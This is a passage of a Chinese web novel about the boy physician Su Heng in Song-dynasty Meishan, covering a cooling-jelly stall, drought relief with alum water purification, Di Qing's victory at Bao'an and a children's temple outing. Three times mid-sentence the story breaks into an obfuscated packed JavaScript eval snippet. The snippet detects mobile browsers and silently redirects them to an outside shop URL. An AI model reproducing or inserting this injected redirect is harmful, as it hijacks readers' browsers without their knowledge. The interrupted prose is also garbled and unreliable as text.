采莲没好气地白她一眼:“可闭上你的乌鸦嘴吧!我这是在熬龟苓解暑膏。” “啊?”青枝惊掉了下巴,昨日我尝到的解暑膏不是冰凉凉,滑溜溜的吗?这两锅黑褐色的药汤是什么?而且,昨日那碗解暑膏闻着只有一股淡淡的药香,这两汤味儿也太冲了,光是闻着就觉得苦。” 青枝昨日被程氏派出去做事,不在家中,因此并不知道采莲熬制解暑膏的经过。今日一见,大为吃惊。 “若是这般容易就想到做法,岂不是很容易被旁人学了去。”采莲一边说着,一边注意熬汤的火候,等两锅汤都煮得差不多了,分别用纱布滤掉汤中杂质,然后再把两种汤汁都倒进同一个锅中,继续熬煮。 “这也太费功夫了乌梅饮定价五文一碗,这龟苓解暑膏怎么着也得卖个——卖个十文钱一碗!”青枝煞有介事地说。 “出息!”采莲笑骂。 · 苏家的临时小摊就位于纱縠行公用水井旁边的大树底下。把位置选在这里还是苏衡出的主意。来此排队打水的人日日都有,而且排队无聊,酷热难忍,若是能在这时来上一杯冰冰凉凉,酸甜可口的乌梅饮,或是来上一碗爽滑弹牙,清热消暑的龟苓解暑膏,大家定然愿意为此掏钱买账。 果然,乌梅饮与龟苓解暑膏大受欢迎。陪着自家阿娘来打水的孩子们都很爱喝被井水镇过的乌梅饮,能捧着小碗一口气“咕噜咕噜”饮个干净。 大人们则更喜欢口味回甘,药香淡淡的龟苓解暑膏。爱吃甜的采莲便多浇一些桂花蜜,就喜欢龟苓解暑膏本身微微泛苦滋味的,则什么都不加。黑色的膏体十分滑溜,顺着喉咙直直下肚,食用之后,感觉夏日的酷暑都消散了些。 “这龟苓解暑膏的方子还是我们三郎的师傅从外地寻来的,听说还费了不少力气呢。这解暑膏口味独特,只有我们这儿有得卖,是个稀罕物。别说眉山,就连京城也没有呢。”小孩子们对这些黑不溜秋还有药味的龟苓解暑膏敬而远之,看见它们就想起曾经被阿父阿娘逼着灌下去的苦兮兮的药汁。采莲见状,便卖力地推销起解暑膏。 “而且,这龟苓解暑膏里头加了土茯苓、缅茵陈、金银花等清热解毒除湿的药材,吃了能滋阴润燥,在这样的大热天来上一碗,最是解暑。” 大人们一听,这是贵生道长寻来的好方子,而且还有不少功效,纷纷表示要再买多几碗给家里人带去。小孩子们也被他们的阿父阿娘逼着,让他们多少吃上半碗。小人儿总是挑战不过大人的权威,无奈何,他们只好让采莲多多放桂花蜜,这才肯皱着眉头,勉强吃上一口。 “唔?”一口吃下去,滑溜冰凉的口感瞬间征服了这些孩子。而且这龟苓解暑膏没有想象中的苦,而且浇上桂花蜜后,吃起来很是香甜。这下子,不用大人们威逼利诱,小孩子们自己就主动把一碗解暑膏吃了个干净。 乌梅饮与龟苓解暑膏大获成功,家里从此多了一个进项。采莲与青枝每日都去水井旁摆摊儿,程氏则与金蝉留在家中纺纱织布。就这样过去了一个月,程氏在算账时,总算舒了口气。家中每日的进项如今已经超过了支出,不仅补上了之前的亏空,现在已经开始能攒下银钱了。 六月还发生了一件事情。天庆观前冷饮摊的摊主找上了苏衡,提出想要购买乌梅饮和 和龟苓解暑膏的配方。 原来,采莲的摊子生意越来越红火。原本常来的客人也就是纱縠行里的邻居们,大家来公用水井排队打水之余,买上几份乌梅饮与解暑膏,打好了井水再带回家去,与家里人分享。但不知怎的,苏家乌梅饮与龟苓解暑膏的名头竟渐渐从城南纱縠行传了出去。不少住在别处的居民都慕名而来。甚至还有不惧路远,从城北跑来城南纱縠行买龟苓解暑膏的人。 反观天庆观前的冷饮摊,这一个月以来的生意竟大不如以前了。摊主很疑惑,自家凉水饮子与冰雪元子用料配方全都没变,价格也没有涨过,来店里的客人怎么越来越少了。摊主便找了一位关系好的熟客一问,这才得知其中缘故。 “苏小神医,我也不是想买断你家方子,只是希望靠着这两个方子,把我的那些熟客都挽回一些。你看,你家摊子在城南纱縠行,我家摊子在城北天庆观,我们一南一北,也可以和气共处的不是?”冷饮摊摊主磨破了嘴皮子,就想磨着苏衡答应卖他配方。 苏衡叹了口气:“并不是我找借口拒绝您。乌梅饮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459610|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方子是我自己琢磨出来的,我可以作主卖给您。但是,龟苓解暑膏是我师父远游寻来的方子,我需要问过他老人家,才能答复您。” “这……唉,我这……”冷饮摊摊主面露尴尬,欲言又止,似乎有什么难以言齿的隐情。 苏衡眨眨眼:“您可是有什么顾虑?若我没猜错,您这顾虑与我师傅有关?” 冷饮摊摊主尴尬点头:“半个月前贵生道长来我这儿买绿豆凉水,许是天气太热,道长他就没穿那身道袍,只胡乱戴了顶破草帽,套了件打了许多补丁的旧短打便来我摊前排队。我那是忙得晕头转向,一时竟没瞧出那是贵生道长,还以为是街上的乞儿……” “就在队伍快要排到贵生道长时,我有一个熟客匆匆忙忙跑过来,找我买二十碗沙糖绿豆甘草凉水。我想着这位熟客与我关系好,卖的又多,不好让人冒着大太阳干等半天,就先做了熟客的二十碗凉水给他了。贵生道长见我熟客插队,很是生气。再加上,再加上吧,我那时忙晕了头,脾气也有点躁,一边是我熟客,一边是乞儿,我就帮着我熟客说了道长几句。也许……也许当时的语气是有些重……” 苏衡听了,沉默不语,只深深地看了冷饮摊摊主一眼。 那摊主尴尬得直搓手:“好吧,不是有些重,是很重,兴许还有点儿难听。总而言之,我是彻底得罪贵生道长了。我原想赔礼道歉的,但道长压根不给我机会。自那日以后,我都没能见他一面,更别说当面道歉了。” “我师傅是良医,给人看病从不给病人分尊卑贵贱,上至皇帝下至乞儿,他都给诊过病,开过方。不会因患者身份地位财富权势的不同,就予以不同的态度。他生气的不是你恶言相向,而是你面对‘贵生道人’和面对‘街边乞儿’截然不同的态度。”苏衡淡淡地道,面上无甚表情。 内里的不堪被苏衡直言指出,冷饮摊摊主面上不免有些难看。 “我先前并不知你曾惹恼我师傅,因此答应将乌梅饮的配方卖与你。现在,我恐怕要收回前言了。”苏衡慢条斯理地补充道。 “为何?!”冷饮摊摊主生了怒气,“苏小神医,你这不是耍我玩呢。” “我师傅若是知道我卖乌梅饮配方给你,定然生我的气。况且,你之前找我商量买方子时,并未严明你与我师傅之间,还有这桩公案。是你隐瞒在先。”苏衡并没有被冷饮摊摊主的怒火吓到。 “行!你们师徒俩一个个的,都是好人!就我最势利!”冷饮摊摊主腾地站起身来。 “阿兄,你们聊完了吗?莲姨切了点水果,你们要不要尝……” 苏轼见苏衡与那冷饮摊摊主密聊许久也没出来,转了转眼珠子,琢磨出一个能进去瞅瞅到底里面什么情况的借口。没想到一进门,他就看那身形高大的冷饮摊摊主满脸怒容地站起身,居高临下地俯视自家兄长,似乎还动了动拳头。 “!!!”苏轼瞪大了眼睛,“你干什么!不许欺负我阿兄!” 28. 多事之秋 那日,那冷饮摊摊主也是一时情急,没憋住怒意,冲苏衡发火的情形竟被苏轼撞见了。对着三岁小儿震惊与控诉的眼神,那摊主到底还知道以大欺小有失脸面,只好忍下怒气拂袖而去。卖配方的事情自然也没能谈成。 自那日后,冷饮摊摊主再也没来找过苏衡。 七月流火,八月萑苇,九月授衣。漫漫长夏终于宣告结束,恼人的暑热被飒爽的秋风拂去,眉山这座小城渐渐被秋意染成红黄二色。 就在苏衡都快要忘了买卖龟苓解暑膏配方这件事时,贵生道人突然把他喊过去,神秘兮兮地从床底扒拉出一个木箱子。 “哎哟!”贵生道人起身时还不小心撞到了床沿,疼得他大呼一声。 苏衡见状,一时竟不知说什么好,为了他师傅的面子着想,他决定保持沉默:“……” “乖徒儿,打开看看。”贵生道人佯作无事发生,从怀里掏出一把钥匙塞进苏衡手心。 苏衡迟疑地看了贵生道人一眼。贵生道人面带微笑,用鼓励与略带兴奋的眼神回视苏衡。 苏衡:“……”好吧。 苏衡如贵生道人所愿,用钥匙打开箱子一看,里面竟堆满了白花花的银子:“……师傅,您去打家劫舍了?” 贵生道人用拂尘轻轻敲了苏衡的头一下,笑骂道:“说什么呢,你这臭小子!这是你师傅我卖龟苓解暑膏配方得来的钱。” “师傅,您把方子卖给谁了?这箱子里头少说也有几百两银子吧。”被一大片白花花的银钱之光闪到眼睛,苏衡“啪”地一下合上箱盖,皱眉问道。 “方子卖给了一个京城来的富商。卖了五百两呢。”贵生道人摸摸他的白胡子,眼角眉梢很是得意。 五百两?苏衡眉角隐隐跳动,似乎在忍耐着什么:“您是不是知道那冷饮摊摊主曾找过徒儿,想要购买乌梅饮和解暑膏配方的事了?” 贵生道人给了苏衡一个“孺子可教也”的眼神。 苏衡沉默片刻,道:“……师傅,您不是说这膏方是您从一本五十文钱的旧书里头看来的吗?您卖给那富商五百两,是否太过了?”五十文与五百两,这中间的差价也太大了。幸亏他师傅不是商贾,若他师傅经商,必定是个大奸商。苏衡腹诽道。 “都说了那是富商,而且是京城来的富商,不差钱!”贵生道人优哉游哉地端起茶盏,嘬饮了一口峨眉雪芽,享受地眯着眼睛咂了咂嘴,继续道,“况且,五百两已是极优惠的价格了。那富商得了这膏方,回了京城,无论是专卖给医馆、酒楼,还是他雇人熬制出龟苓解暑膏成品自卖,都能获利上千两银子。我这个价格已经很公道了。” “徒儿,你可知这么一盏峨眉雪芽,在眉山的茶摊已算贵价茶,能卖五文一碗。但是在汴京的茶摊上,用瓷碗装,能卖十文一碗。若是在那些酒楼里,用金银杯盏盛好,能卖几十文一碗。这龟苓解暑膏也是一样的。” “我只是有些不解。师傅您不是一向视钱财为身外之物,为人诊病有时连诊金都不收,随手拿了人家炒好的一把鸡头米就算抵了诊金。怎么突然卖起了膏方?莫非——您最近急需银钱?” 腹诽贵生道人为商必定是“大奸商”是一回事,但怀疑贵生道人德行品性又是另一回事。贵生道人的为人,苏衡这个当徒弟的十分清楚,因而他敏锐地察觉到贵生道人高价卖配方之举的异常。 原本打算继续说道说道眉山与京城物价的贵生道人顿时语塞,良久摇头笑道:“看来终究是瞒不过你。罢了罢了,原本看你年纪尚小,不欲与你说这些沉重的话题。既然你如此聪慧,那为师再考考你。” “师傅请讲。”苏衡从容道。 “今岁自立夏以来,暑热难消,滴雨未下。六月盛夏,酷热难熬,就连眉山这么一个山环水绕,荷塘遍布的小城,都出现了多个感犯暑邪,以致四肢无力,上吐下泻的病例。七八月秋风渐起,暑热渐消,依你看,这是福是祸?”贵生道人不紧不慢地问道。 苏衡垂眸沉思了一会儿,缓缓答道:“暑邪易除,久旱难消。” 贵生道人满意地点点头,脸上的神情却有些复杂,既有对苏衡的赞赏,又有对自己教徒有方的自得,还有对苏衡慧极必伤的担忧。 “天久不雨,田地干涸,庄稼枯死,饥民四处流散,蜀中益、梓、利、夔四路乱象已生。这五百两拿去成都府买些米粮回来,届时若有饥民涌入,便与天庆观一道设棚施粥。只是这五百两也不过是杯水车薪,勉强撑一段时日罢了。”贵生道人叹息道。 九月下旬,灾情愈演愈烈。 眉山民风淳朴,县令治理有方,家底殷实,余粮充足的人家纷纷主动捐银捐粮,配合官府赈灾。早早就在城南与城北用竹木与麻布搭设了临时居所与施粥棚,每日都有官兵驻守,维持秩序,派发粥米。 全县的郎中都有组织地行动起来,城北的棚子以林郎中带领的林家医馆为首,城南的棚子则以秦郎中带领的秦家医馆为尊。贵生道人接受了眉山县令的委托,负责统筹管理全县的医药资源。苏衡身为贵生道人的亲传弟子,也参与其中,协助贵生道人医治得病的灾民。 久旱缺水,水源的紧缺会造成水质的恶化,若是任由饥民饮用受污染的水源,极容易产生疫病。在一众郎中都紧急投身对灾民的救治之中,无暇虑及水源一事时,苏衡率先提出用白矾对饮用之水进行净化的建议。 白矾,又叫“明矾”。因白矾产自晋州、慈州、坊州、无为军还有汾州灵石县,又被称为“晋矾”、“北矾”。 北宋朝廷对矾石实行间接专卖制。矾石由官府煮造,或由被朝廷收编为“镬户”的专人煮制,官府再向其收购。但官府不直接销售矾石,而是“批发”给商人进行贩卖。朝廷严令禁止民间私煮、私贩矾石,违令私自贩卖矾石情节严重者,甚至会被处以死刑。 “我只知白矾可入药,外用可解毒杀虫,燥湿止痒,内服有止血止泻,祛痰开闭之效,竟不知白矾还可用以净化水源?”林郎中奇道。 “我亦好奇得很。许多药方如沉香消化丸、五枝散等方中都有白矾这一味药,如今却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14474003|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次得知白矾还有净水的妙用。” “白矾可吸附水中杂质,从而起到澄清水源的作用。我们可以取一盆浑浊的污水,往其中投入白矾,是否有效,一试便知。”苏衡从容答道。 林郎中立即唤林家医馆的一位药师准备好污水与白矾。苏衡大致目测了一下盆中污水的体积,按照每百升水加入一克白矾的比例,估摸着取出适量白矾,投入盆中,并用一根树枝当做搅拌工具,将盆中水搅拌至白矾彻底溶解。 “需要静置等候一段时间,水中杂质会沉至盆底。” 众人依言等待,果然,盆中浑浊的污水渐渐变得清澈,可以清晰看见盆底有一层黑色杂质。 秦郎中击掌赞叹:“此法大妙!” 有了林、秦两位郎中还有贵生道人的支持,苏衡提出的白矾净水之法很快被县令采纳。眉山城南与城北虽然集聚了不少灾民,但是由于饮用水源得到净化,加上眉山一众郎中们防治有方,并未爆发令人生惧的疫病。 反观眉山附近的几个县城就没有这般和谐有序了。青神县那边甚至还发生饥民闯入富户家中,砸掉粮仓门锁,将富户所囤粮米劫掠一空的事情。若不是官兵赶到,武力镇压,程家险些也遭了殃。也是因这一遭,程家这才主动捐银,助官府赈济灾民。 其实早在那些流民进城时,郭氏就已经提议设棚施粥,但程濬被爱妾潘素素的枕头风一吹,最后还是没同意。 原来,自从那潘素素设法将执掌程家中馈的权力从郭氏手中夺了过来,她就不时挪用公账上的钱,偷偷补贴自己,采买了不少昂贵的金银珠宝首饰头面。若是要捐银赈灾,那必定是一大笔支出,潘素素用拙劣手法做的假账十有八九会因此被发现。因此,她便变着法儿地阻挠捐银之事。 后来,灾情愈发严重,越来越多的流民涌入,还发生了富户遭劫之事,程濬深知若不采取措施,饥民越聚越多却得不到安抚,后果不堪设想,便做主捐银赈灾。潘素素的假账终于被发现,程濬发了很大一场脾气,夺了她的权力,让郭氏重新主持程家中馈。 十月,川峡四路终于收到一则好消息。朝廷已于上个月出内库银四万两购买了一大批粟米,用以赈济益、梓、利、夔四路的饥民。这批赈灾粮走水路运输,已在运送的路上。蜀中民心大振,日日盼着朝廷的赈灾粮早日运达。 苏洵对此却不太乐观。京中路遥,赈灾的粮食派发下来,不知要经过几层盘剥,这般层层盘剥之下,真正能到百姓手上的也不知能剩多少。 况且,如今边境亦不太平。苏涣在京为官,与苏洵书信往来,京中许多消息,苏洵通过苏涣来信,也略知一二。今春正月,西平王赵元昊上书天子,妄图让朝廷承认他大夏皇帝的尊位。朝廷自然拒绝。六月,朝廷削夺对元昊所赐‘赵’姓与官爵,除其属籍。元昊不臣之心昭昭,频繁扰边。赈灾与戍边都需要大量银钱。若是起了战事,资费更甚。 苏洵站在书房窗前,望着窗外的几竿竹子,叹息连连,忧心忡忡:“唉,内忧外患,多事之秋啊!” 29. 将星初升 冬月葭草吐绿,为洛水增添了一丝生气。然而这一丝绿意与保安军漫天飞舞的黄沙与沟壑纵横的黄土相比,未免显得过于渺小而微弱。 大宋实行州县二级制,统县的政区除了州,还有府、军、监三种。“军”大多设在沿边地区,如保安军就与大夏接壤,是宋夏交战的最前线,也是大宋抵御元昊军队的主要阵地。 曾有人言,保安军存则关中安,关中安则天下安。由此可见其军事战略位置的重要性。 若是苏衡到此,定能一眼看出此地正位于陕北高原丘陵沟壑区。此地因土质疏松,植被稀少,一到雨季,暴雨冲刷之下,大量水土流失,便会形成一道道“鞭伤”,将整个高原“鞭笞”得千沟万壑,支离破碎。 保安军气候干旱,旱季格外漫长,幸有洛水流经,为当地军民提供了珍贵的水资源。较宽的河谷、肥沃的土壤与充足的水源也为当地农业的发展孕育了条件。洛水谷道成为陆路交通要道与重要农业土地资源。 然而,这既是幸运亦是不幸。毕竟,好东西总是惹人觊觎。宋军与元昊军为了争夺河道控制权,多次爆发冲突。 “报——敌军来袭!敌军来袭!”一骑兵飞马来报,望楼上的驻守士兵立即用力敲响示警的铜锣。 “怎么又来了?咱们还打吗?” “打吧,能咋办?” “每次都输,越打大家伙儿信心越低迷。” “你们几个少说几句吧,动作快点,上头让集合了。” “唉,知道了知道了。” 几个小兵懒懒散散地整好着装,捞起兵器随意往肩上一扛,慢吞吞地往集合地走去。 这一战的结果可想而知。宋军大败,敌寇得胜,大肆掳掠一番,满载而归。 这样的情形已不是第一次发生。自去岁元昊称帝建国大夏以来,夏军频繁侵扰大宋边境。两军交战,宋军屡战屡败,军中士气低迷,早已失去斗志。甚至还有不少士兵心生怯意,认为夏军不可战胜,还未开战已满怀畏惧。 一日,军中新来了一位指挥使,据说这位新上任的长官曾隶属于隶属于御马直,后因骑射超群被选做散直。赵元昊造反后,朝廷下诏挑选卫士戍边。这位新指挥使因武艺高超,谋略过人获选,被朝廷任命为延州指挥使。 大宋军队编制,以马军四百人、步军五百人为一指挥,指挥的最高军事长官便是指挥使,简称“指使”,指使之下还有副指使。这位新上任的指挥使一到保安军,便下令手下副使与马军、步军兵士集合。 “新官上任三把火,咱们这位指挥使是打算随即‘杀’几个小兵,儆一儆咱们剩下的猴儿?” “谁知道呢。反正这仗是打不赢了,换谁不都一样。” “我只想回去睡觉,希望这个新官训话环节早些结束,困死我了。” 几名小兵随意地闲扯着,拖拖拉拉地走向指定的集合地点。但这几个人没想到自己居然是最晚到的一批,到了集合地,几人都被面前军容整肃,寂静一片的大场面给吓了一跳。 他们这一指挥的兵士不都是站没站相,坐没坐样的吗?就算新官上任,第一天要给新指挥使留个好印象,也不用装得这么过吧?几人面面相觑,踟蹰着停在了原地。 “愣在那里干什么!还不快归队!”有熟人小声提醒,那几名小兵如梦初醒,小跑着站到了自己的位置。 高台上,新任指挥使见人到齐,沉稳地开始他的讲话。几位小兵偷眼看去,那新指挥使面容刚毅,麦色肌肤,一双剑眉斜飞入鬓,看着不过三十岁出头。最为惹眼的是新指挥使脸上深黛色的刺青,使得原本英气逼人的脸庞多了几分沉郁。 几名小兵站得近,彼此挤眉弄眼,暗戳戳地用眼神交流示意—— “喂,看到新指使脸上的刺青没?” “看到了,还用你示意,我第一眼就看到了。” “那不是犯人才有的刺青吗?良家子谁会在脸上刺字啊?咱们这位新指使,看来不简单呐。” “你俩快站直了!新指使好像往咱们这边看过来了。” 新指使的讲话已经接近尾声:“我知你们心中存疑,甚至不屑。但是,我们身为戍边卫兵,上阵杀敌,保家卫国是我们的职责。屡战屡败又如何?屡败屡战,勇往直前,方为大丈夫本色!我狄青在此郑重承诺,凡有战,我必先。只要一息尚存,绝不放下杀敌的武器!” 台下掌声雷动,近千人齐齐鼓起掌来,造成的声势还真不小。几个小兵一边“啪啪”鼓掌,一边偷偷撇嘴。说的比唱的好听,每一人指挥使都说得慷慨激昂,真正打起仗来却没什么本事,最后还不是会狼狈地被夏军追着打。 几个暗自腹诽的小兵没想到的是,这一任的指挥使确实与之前的指挥使都不同。新指使狄青是位言出必行的真汉子,凡有战事他必定亲自做先锋,厮杀在危险的最前线。久而久之,兵士们被其所感染,为其所折服。凡有狄青在场,兵士必定争先恐后为其马前之卒。 冬月下旬,夏军入寇保安军。宋夏之间爆发大规模战事,狄青为先锋,身先士卒,率领近千士兵奋勇杀敌。 据狄青的一位亲卫事后回忆,当时狄指挥使临敌不惧,披头散发,手持长柄屈刀,头戴黄铜面具,出入敌中,所向披靡。那黄铜面具五官狰狞,口吐獠牙,衬得狄指挥使恍若夜叉罗刹、索命恶鬼,敌军畏怯,皆望风而逃。 夏军败退,宋军大胜。这是宋夏交战以来,大宋军队获得的第一次大胜仗,后世称之为“保安大捷”。 · 保安大捷的喜讯传至蜀地时,两川因久旱引起的饥荒已得到缓解与控制。朝廷解除了限制两川饥民出剑门关的禁令,蜀地灾情渐渐平息。 眉山的灾情是最早得到控制的,因此眉山也最早恢复灾前的秩序。在此次救灾中表现突出,作出卓越贡献者,官府都给予了表彰。 贵生道人早已名满天下,自然不在意这点荣誉。但贵生道人的亲传弟子苏衡,却通过此次赈灾展露了头角。如今,“苏小神医”之名不仅在眉山传颂,整个蜀地百姓都有所耳闻。 苏家出了个了不得的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480515|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神医,苏家的姻亲,青神程家也因在此次旱灾饥荒中积极捐银捐粮,获得了青神县令亲书“慈善之家”的匾额。消息传至眉山,程氏很是欣喜,以为程濬幡然悔悟,重拾程家先祖遗风。郭氏重新执掌程家中馈,潘素素被褫夺了管家的权力,暂时消停下来,安分了好一阵子。 因着以上缘故,苏序顾念与旧友程文应的情谊,作主与程家重修旧好。苏程两家终于又恢复了频繁的往来,两家小辈也开始来往,不时相约外出游玩,好不快活。 这日,又逢天庆观书院旬休,苏不欺苏不疑两兄弟与程之言都回到了苏家老宅。郭氏携长子程之才与潘素素所生的两个庶子来访。十数个小郎君小娘子聚在一道,简直就像肉行笼子里关的鸡鸭一般,“咯咯咯”“嘎嘎嘎”吵个不停,闹得几个大人头都大了。 杨氏被闹得烦了,大手一挥,直接作主打发苏不欺领着他的亲弟、堂弟和表弟这一群皮猴儿去附近的醴泉寺玩。乖巧文静些的小娘子们则跟着最年长的苏二娘,一块儿回房里倒腾研究最近流行的新发型与新发饰。 苏不欺与程之言如今已是年满十五岁的翩翩少年郎。苏不欺这些年来长得越发好了,眉目俊秀,气质温和,走在大街上总会惹得不少年轻小娘子悄悄回眸。程之言亦长高了不少,性子依然沉默寡言,不喜与人交谈。苏不疑倒还是老样子,虽然已经十三了,仍旧跳脱顽劣,不思进取,没少挨杨氏的打。 余下的小郎君们以郭氏的长子程之才年纪最大,今年刚满五岁。然后是四岁的程之元、三岁的苏轼,与才满两岁的程之邵和苏不危。 苏衡比程之才大一岁,但却不在外出游玩的队伍中。自从苏小神医的名号传扬了出去,有不少人慕名而来,找苏衡诊病。苏衡每日在研读医书、听贵生道人授课之余,还会抽出至少一个时辰的时间,接待这些病人,根本无暇外出玩耍。 苏、程两家的小郎君中,苏辙最小,今年二月出生,现在还未满一岁,自然没有跟着去。其实苏不危也不想去,但是他二哥苏不疑非把他从被窝里扒拉了出来,连哄带骗地把他“弄”上了驶往醴泉寺的驴车。 驴车摇摇晃晃,苏不危的眼皮也要落不落,似乎下一秒就能在车上睡死过去。 在家躺着多舒服,为什么非要出来玩。外头到底有什么好玩的。他不想去醴泉寺捡松果,他只想在床上梦周公。苏不危的眼睛里一半是困意,一半是对他二哥的怨念。 “哎,小表弟,你阿姐平时都喜欢做什么呀?”程之才伸出手指头,戳了戳苏轼的后腰。 苏轼后腰窝十分敏感,被程之才戳得一激灵,身子一歪,撞倒了旁边的程之元,程之元紧挨着亲弟弟程之邵坐,被苏轼这一撞,身形不稳,连带着把程之邵也带倒了。程之邵一倒,坐在他旁边本就昏昏欲睡的苏不危直接趴在了程之言大腿上。好在程之言坐得稳,想一座可靠的大山,承受住了这一串葫芦娃倒下来的力道。 “呃……”程之才没想到自己随手那么一戳,会造成这么个后果,弱弱地举起双手,“我不是故意的……” 30. 秋日爬山 苏不欺眼含笑意,帮着程之言把这些东倒西歪倒了一串的葫芦娃一个个扶起来:“之言,你怎样?没被砸伤吧?” 程之言摇摇头,示意苏不欺往下看。苏不危趴在程之言的大腿上,一秒入睡,还在梦中咂了咂嘴,看起来睡得挺香。 “这个小懒虫,在驴车上摇摇晃晃都能睡着。”苏不欺见幼弟睡得沉,好笑地摇摇头,“我抱着他睡吧,这里离醴泉寺还有好一段路呢,别到时还没爬山呢,你的大腿就被不危枕麻了。” 苏不危被苏不欺手脚轻柔地挪到了怀里,像只贪睡爱娇的小猫,把头埋进长兄的臂弯。 苏轼眼巴巴地看着苏不危窝在大堂兄怀里舒舒服服地睡大觉,心中很是羡慕。唉,要是兄长也在就好了。和兄长分开的每一刻钟,都好想他。 “那个……表弟啊,你还没回答我的问题呢。”程之才这次不敢再戳苏轼的后腰窝了,改为轻拍他的肩膀。 “什么问——”苏轼回想了一下,反应过来,立刻警觉地皱眉眉头:“你打听我阿姐的事做什么?” “我,我就是好奇,问问而已。表弟,你行行好,你就告诉我呗。”程之才腆着脸笑道。 “无!可!奉!告!”苏轼板起小脸,一字一顿地拒绝道。 程之言顿时失望地叹了口气,整个人都蔫了。苏不疑围观了全程,眼珠子骨碌一转,脸上浮现出一抹狡黠的笑意,跟那给鸡拜年的黄鼠狼似的。 苏不疑朝程之才招招手,示意程之才附耳过来。程之才依言凑过来,苏不疑俯身在他耳边小声出主意:“哎,你问我二堂弟是问不出什么的了。想知道我堂妹的喜好,你自己多多上门,多多接触,留心观察,这不就得了。靠人不如靠己,懂不?” 程之才眼睛一亮,连连点头,表示受教。苏轼看着苏不疑那十足奸猾的笑意,心生狐疑:“二堂兄,你和程之才在说什么悄悄话呢?” “没什么没什么,我们只是在聊待会儿要去哪里捡松果罢了。”苏不疑坐直了身子,无辜地冲苏轼眨眨眼。 驴车慢慢悠悠地行驶在青石板路上,驴蹄踏在石板上的声音颇有韵律,“嗒嗒嗒”、“嗒嗒嗒”地响个不停。醴泉寺就坐落在眉山县附近的一座石头山上,车夫把一众小郎君送至山脚下,上山的山路就要他们自己走了。 “劳您在此稍作歇息,喝完茶解解渴。约莫一个时辰,我们便下山折返。”苏不欺从钱袋里掏出几个铜板,递给车夫当茶钱。 “成,我就在那边的茶摊坐着等你们。”车夫是个爽快的汉子,接了铜板,把驴绳捆在一棵松树上,径自往位于山脚的一个茶摊坐下,找店家讨了碗粗茶,一边饮茶一边与其他茶客唠嗑起来。 “上山咯~”苏不疑被关在天庆观书院念书,快把他给闷死了。终于熬到旬休,可以出来游玩,他像只扑棱大蝴蝶一样甩着宽大的袖子,“嗖”地往上冲。 “不疑,你看着点路,小心别摔着了!”一个不留神没看住,自家二弟就差点跑没影了。苏不欺很是无奈,只好扬声提醒苏不疑注意脚下。 “知——道——啦——”苏不疑没回头,拖长了声音应道。 苏轼也是个活泼好动的,拉着程之元与程之邵两个年纪相近的小不点,兴奋地沿着石阶往上爬,一边爬一边左右张望,搜寻落在地上的松果。程之才也跟在苏轼后头,帮着他捡松果。 苏不欺与程之言落在最后,慢悠悠地踱步上山。苏不危早在下车的时候就被苏不欺摇醒了。在车上睡了一觉,苏不危精神了许多,拉着苏不欺的手欣赏着林中秋色。 一行人拾级而上,没多久就到了位于半山腰的醴泉寺。醴泉寺的庭院中种了一棵柚子树,那柚子树十分高大,在院墙外都能瞧见树冠。 此时正值深秋,树上挂满了个大饱满的柚子,苏不疑最先到达醴泉寺,一抬头就瞧了这棵结实累累的柚子树。那树上的柚子果皮深黄,颜色均匀,散发出成熟的甜蜜气息,把墙外的苏不疑馋得垂涎三尺。 “你们可算来了!”苏不疑等得望穿秋水,”快快快,搭个人梯,咱们摘点柚子吃!” “哇,弟弟,你看,大柚子!”程之元兴奋地拍拍程之邵的肩膀。 “这柚子树是寺中僧人栽种的,不问自取便是偷。苏不疑,你不要带坏几个小的。”苏不欺沉声道。 “又开始说教了。今日是出来玩儿的,不要老是板着脸教训人,你这样子真的很扫兴。再说了,小时候你还和我一起去杨老丈家偷过荷花呢。快来搭把手!”苏不疑到底是苏不欺的亲弟弟,一言不合就开始往外抖搂他哥的黑历史。 “我想吃柚子!” “我也想吃!” “还有我!还有我!” 苏衡不在,没人镇得住苏轼,苏轼带头嚷嚷着要吃柚子。苏不欺见状,终于妥协道:“只许摘一个,大家分着吃,尝尝味儿。不许多摘。” “好耶!”几个小的欢呼雀跃。 于是,苏、程两家的小辈空着手上山,抱着满怀的收货下了山。苏轼的怀里全是捡来的送果,几人合力摘下来的柚子被苏不疑抱着。程之才怀里的是一大束秋海棠,这是他在醴泉寺附近找到的。 “咦,大堂兄呢?”几人下到山脚,苏轼左右张望,发现苏不欺不见了,连忙问道。 苏不疑摆摆手:“害,二堂弟,不用担心。我大哥他肯定是偷偷找醴泉寺的僧人付柚子钱去了。咱们在驴车旁等一会儿,他很快就下来了。” “真的吗?”苏轼对苏不疑的信任度几乎为零,转头看向虽然寡言但是分外可靠的程之言。程之言看了苏不疑一眼,点点头默认了。 